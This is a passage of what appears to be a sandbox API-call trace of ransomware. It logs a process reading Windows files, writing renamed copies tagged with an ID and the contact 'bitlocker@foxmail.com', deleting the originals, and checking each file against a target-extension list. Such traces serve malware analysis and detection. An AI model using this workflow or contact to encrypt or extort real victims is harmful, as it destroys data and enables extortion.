(lpString1=".dbf", lpString2=".CHM") returned 1 [0056.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.220] lstrlenW (lpString=".1cd") returned 4 [0056.220] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.220] lstrlenW (lpString=".jpg") returned 4 [0056.220] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.220] lstrcmpiW (lpString1=".MSG", lpString2=".wiki") returned -1 [0056.220] lstrlenW (lpString="FPEXT.MSG") returned 9 [0056.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.226] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=169637) returned 1 [0056.226] CloseHandle (hObject=0x214) returned 1 [0056.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0056.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.227] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.227] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0056.227] GetLastError () returned 0x0 [0056.227] ReadFile (in: hFile=0x214, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0056.232] WriteFile (in: hFile=0x188, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0056.236] ReadFile (in: hFile=0x214, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.236] WriteFile (in: hFile=0x188, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.236] SetEndOfFile (hFile=0x188) returned 1 [0056.236] CloseHandle (hObject=0x188) returned 1 [0056.236] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.236] SetEndOfFile (hFile=0x214) returned 1 [0056.238] CloseHandle (hObject=0x214) returned 1 [0056.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0056.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.238] lstrlenW (lpString=".doc") returned 4 [0056.238] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0056.238] lstrlenW (lpString=".docx") returned 5 [0056.238] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0056.238] lstrlenW (lpString=".pdf") returned 4 [0056.238] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0056.238] lstrlenW (lpString=".xls") returned 4 [0056.238] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0056.238] lstrlenW (lpString=".xlsx") returned 5 [0056.238] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0056.239] lstrlenW (lpString=".ppt") returned 4 [0056.239] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.239] lstrlenW (lpString=".zip") returned 4 [0056.239] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0056.239] lstrlenW (lpString=".rar") returned 4 [0056.239] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0056.239] lstrlenW (lpString=".bz2") returned 4 [0056.239] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0056.239] lstrlenW (lpString=".7z") returned 3 [0056.239] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.239] lstrlenW (lpString=".dbf") returned 4 [0056.239] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.239] lstrlenW (lpString=".1cd") returned 4 [0056.239] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.239] lstrlenW (lpString=".jpg") returned 4 [0056.239] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.239] lstrlenW (lpString=".doc") returned 4 [0056.239] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0056.239] lstrlenW (lpString=".docx") returned 5 [0056.239] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0056.239] lstrlenW (lpString=".pdf") returned 4 [0056.239] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0056.239] lstrlenW (lpString=".xls") returned 4 [0056.239] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0056.239] lstrlenW (lpString=".xlsx") returned 5 [0056.240] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0056.240] lstrlenW (lpString=".ppt") returned 4 [0056.240] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0056.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.240] lstrlenW (lpString=".zip") returned 4 [0056.240] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0056.240] lstrlenW (lpString=".rar") returned 4 [0056.240] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0056.240] lstrlenW (lpString=".bz2") returned 4 [0056.240] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0056.240] lstrlenW (lpString=".7z") returned 3 [0056.240] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0056.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.240] lstrlenW (lpString=".dbf") returned 4 [0056.240] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0056.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.240] lstrlenW (lpString=".1cd") returned 4 [0056.240] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0056.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0056.240] lstrlenW (lpString=".jpg") returned 4 [0056.240] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0056.240] lstrcmpiW (lpString1=".bmp", lpString2=".wiki") returned -1 [0056.240] lstrlenW (lpString="verisign.bmp") returned 12 [0056.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.241] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2702) returned 1 [0056.241] CloseHandle (hObject=0x214) returned 1 [0056.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0056.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString=".doc") returned 4 [0056.242] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".docx") returned 5 [0056.242] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0056.242] lstrlenW (lpString=".pdf") returned 4 [0056.242] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".xls") returned 4 [0056.242] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".xlsx") returned 5 [0056.242] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0056.242] lstrlenW (lpString=".ppt") returned 4 [0056.242] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString=".zip") returned 4 [0056.242] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".rar") returned 4 [0056.242] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".bz2") returned 4 [0056.242] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".7z") returned 3 [0056.242] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0056.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString=".dbf") returned 4 [0056.242] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString=".1cd") returned 4 [0056.242] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0056.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString=".jpg") returned 4 [0056.242] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.242] lstrlenW (lpString=".doc") returned 4 [0056.242] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0056.242] lstrlenW (lpString=".docx") returned 5 [0056.242] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0056.243] lstrlenW (lpString=".pdf") returned 4 [0056.243] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString=".xls") returned 4 [0056.243] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString=".xlsx") returned 5 [0056.243] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0056.243] lstrlenW (lpString=".ppt") returned 4 [0056.243] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.243] lstrlenW (lpString=".zip") returned 4 [0056.243] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString=".rar") returned 4 [0056.243] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString=".bz2") returned 4 [0056.243] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString=".7z") returned 3 [0056.243] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0056.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.243] lstrlenW (lpString=".dbf") returned 4 [0056.243] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0056.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.243] lstrlenW (lpString=".1cd") returned 4 [0056.243] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0056.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0056.243] lstrlenW (lpString=".jpg") returned 4 [0056.243] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0056.243] lstrcmpiW (lpString1=".inc", lpString2=".wiki") returned -1 [0056.243] lstrlenW (lpString="adojavas.inc") returned 12 [0056.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.245] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=14610) returned 1 [0056.245] CloseHandle (hObject=0x214) returned 1 [0056.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0056.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.245] lstrlenW (lpString=".doc") returned 4 [0056.245] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.245] lstrlenW (lpString=".docx") returned 5 [0056.245] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.245] lstrlenW (lpString=".pdf") returned 4 [0056.245] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.245] lstrlenW (lpString=".xls") returned 4 [0056.245] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString=".xlsx") returned 5 [0056.246] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.246] lstrlenW (lpString=".ppt") returned 4 [0056.246] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.246] lstrlenW (lpString=".zip") returned 4 [0056.246] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString=".rar") returned 4 [0056.246] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString=".bz2") returned 4 [0056.246] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.246] lstrlenW (lpString=".7z") returned 3 [0056.246] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.246] lstrlenW (lpString=".dbf") returned 4 [0056.246] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.246] lstrlenW (lpString=".1cd") returned 4 [0056.246] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.246] lstrlenW (lpString=".jpg") returned 4 [0056.246] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.246] lstrlenW (lpString=".doc") returned 4 [0056.246] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.246] lstrlenW (lpString=".docx") returned 5 [0056.246] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.246] lstrlenW (lpString=".pdf") returned 4 [0056.246] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString=".xls") returned 4 [0056.246] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.246] lstrlenW (lpString=".xlsx") returned 5 [0056.246] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.246] lstrlenW (lpString=".ppt") returned 4 [0056.246] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.247] lstrlenW (lpString=".zip") returned 4 [0056.247] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.247] lstrlenW (lpString=".rar") returned 4 [0056.247] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.247] lstrlenW (lpString=".bz2") returned 4 [0056.247] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.247] lstrlenW (lpString=".7z") returned 3 [0056.247] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.247] lstrlenW (lpString=".dbf") returned 4 [0056.247] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.247] lstrlenW (lpString=".1cd") returned 4 [0056.247] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0056.247] lstrlenW (lpString=".jpg") returned 4 [0056.247] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.247] lstrcmpiW (lpString1=".inc", lpString2=".wiki") returned -1 [0056.247] lstrlenW (lpString="adovbs.inc") returned 10 [0056.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.247] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=14951) returned 1 [0056.247] CloseHandle (hObject=0x214) returned 1 [0056.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0056.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.248] lstrlenW (lpString=".doc") returned 4 [0056.248] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.248] lstrlenW (lpString=".docx") returned 5 [0056.248] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.248] lstrlenW (lpString=".pdf") returned 4 [0056.248] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.248] lstrlenW (lpString=".xls") returned 4 [0056.248] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.248] lstrlenW (lpString=".xlsx") returned 5 [0056.248] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.248] lstrlenW (lpString=".ppt") returned 4 [0056.248] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.248] lstrlenW (lpString=".zip") returned 4 [0056.248] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.248] lstrlenW (lpString=".rar") returned 4 [0056.248] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.248] lstrlenW (lpString=".bz2") returned 4 [0056.248] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.248] lstrlenW (lpString=".7z") returned 3 [0056.248] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.248] lstrlenW (lpString=".dbf") returned 4 [0056.248] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.248] lstrlenW (lpString=".1cd") returned 4 [0056.248] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString=".jpg") returned 4 [0056.249] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString=".doc") returned 4 [0056.249] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.249] lstrlenW (lpString=".docx") returned 5 [0056.249] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.249] lstrlenW (lpString=".pdf") returned 4 [0056.249] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.249] lstrlenW (lpString=".xls") returned 4 [0056.249] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.249] lstrlenW (lpString=".xlsx") returned 5 [0056.249] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.249] lstrlenW (lpString=".ppt") returned 4 [0056.249] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString=".zip") returned 4 [0056.249] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.249] lstrlenW (lpString=".rar") returned 4 [0056.249] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.249] lstrlenW (lpString=".bz2") returned 4 [0056.249] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.249] lstrlenW (lpString=".7z") returned 3 [0056.249] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString=".dbf") returned 4 [0056.249] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString=".1cd") returned 4 [0056.249] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0056.249] lstrlenW (lpString=".jpg") returned 4 [0056.249] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.250] lstrcmpiW (lpString1=".inc", lpString2=".wiki") returned -1 [0056.250] lstrlenW (lpString="adcjavas.inc") returned 12 [0056.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0056.251] GetFileSizeEx (in: hFile=0x180, 